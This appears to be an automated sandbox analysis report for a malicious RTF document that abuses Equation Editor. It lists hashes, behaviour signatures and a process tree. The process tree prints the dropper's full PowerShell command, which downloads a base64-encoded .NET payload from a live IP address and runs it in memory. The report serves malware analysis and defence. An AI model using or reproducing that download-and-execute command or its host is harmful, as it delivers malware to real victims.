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Overview

overview

10

Static

static

1

P0_802389.rtf

windows7-x64

10

P0_802389.rtf

windows10-2004-x64

1

Analysis

  • max time kernel
    148s
  • max time network
    106s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    04/05/2023, 10:38

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General

  • Target

    P0_802389.rtf

  • Size

    3KB

  • MD5

    2fa467e21c54d460ba33ae52998ce40e

  • SHA1

    64f6a710d760b228e3e64741b1977d737d94ef9b

  • SHA256

    c6f102c5732a1b27a59064f2bd4c42019f32852b45d03b43350dfc1700ee1c04

  • SHA512

    e5dc7c3227334179583c42156af61438ba08f3437c43f9d6811001af6da0cd7da10361f2a9c0263c6286ec6a49dc6625fb150649f0fa8c5435474cdee182aa27

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://172.174.176.153/dll/new_rump_vb.net.txt

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

    exploit
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\P0_802389.rtf"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1700
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1284
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Blocklisted process makes network request
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:1052
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\akudinma.vbs"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:560
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c powershell.exe [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://172.174.176.153/dll/new_rump_vb.net.txt'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('ø☀☞√�}П�◀@+@░�@@ø☀☞√�}П�.knilpoanuzas4*●*☞#:▶l!}(ú░}.s∞*▲◀(noi!}(ú░}aø☀☞√�}П�ropmi∞*▲◀(li↓*(▲☟@*⇝!}(ú░}4*●*☞#:▶4*●*☞#:▶▶☟ð}↓→+◀pø☀☞√�}П�ø☀☞√�}П�↓*(▲☟@*⇝','1No1me_Startup','2No3me_3tartup'))
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1980
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://172.174.176.153/dll/new_rump_vb.net.txt'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('ø☀☞√�}П�◀@+@░�@@ø☀☞√�}П�.knilpoanuzas4*●*☞#:▶l!}(ú░}.s∞*▲◀(noi!}(ú░}aø☀☞√�}П�ropmi∞*▲◀(li↓*(▲☟@*⇝!}(ú░}4*●*☞#:▶4*●*☞#:▶▶☟ð}↓→+◀pø☀☞√�}П�ø☀☞√�}П�↓*(▲☟@*⇝','1No1me_Startup','2No3me_3tartup'))
            4⤵
            • Blocklisted process makes network request
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1624

    Network

    MITRE ATT&CK Enterprise v6

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex
      Filesize

      2B

      MD5

      f3b25701fe362ec84616a93a45ce9998

      SHA1

      d62636d8caec13f04e28442a0a6fa1afeb024bbb

      SHA256

      b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

      SHA512

      98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

      Download Submit

    • C:\Users\Admin\AppData\Roaming\akudinma.vbs
      Filesize

      81KB

      MD5

      92c9b3545e45968f66ed065843474757

      SHA1

      d0cf12b2e794f74cdc616c474af4430aeb260a76

      SHA256

      fe326ea5b7320102c8ffcb14f85b48f80416cb2ea737291fb4eaa9c0d992ed17

      SHA512

      b980c3f3e6eef1aa84219d429646a0657b87695807a49669e27da06171353976f6052b8e02b020d034f9030fa7c6ddc6bb810f0303c668019c2831f99063c7fa

      Download Submit

    • C:\Users\Admin\AppData\Roaming\akudinma.vbs
      Filesize

      81KB

      MD5

      92c9b3545e45968f66ed065843474757

      SHA1

      d0cf12b2e794f74cdc616c474af4430aeb260a76

      SHA256

      fe326ea5b7320102c8ffcb14f85b48f80416cb2ea737291fb4eaa9c0d992ed17

      SHA512

      b980c3f3e6eef1aa84219d429646a0657b87695807a49669e27da06171353976f6052b8e02b020d034f9030fa7c6ddc6bb810f0303c668019c2831f99063c7fa

      Download Submit

    • memory/1624-85-0x00000000026D0000-0x0000000002710000-memory.dmp

      Filesize

      256KB

      Download

    • memory/1624-90-0x00000000026D0000-0x0000000002710000-memory.dmp

      Filesize

      256KB

      Download

    • memory/1624-91-0x00000000026D0000-0x0000000002710000-memory.dmp

      Filesize

      256KB

      Download

    • memory/1700-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

      Download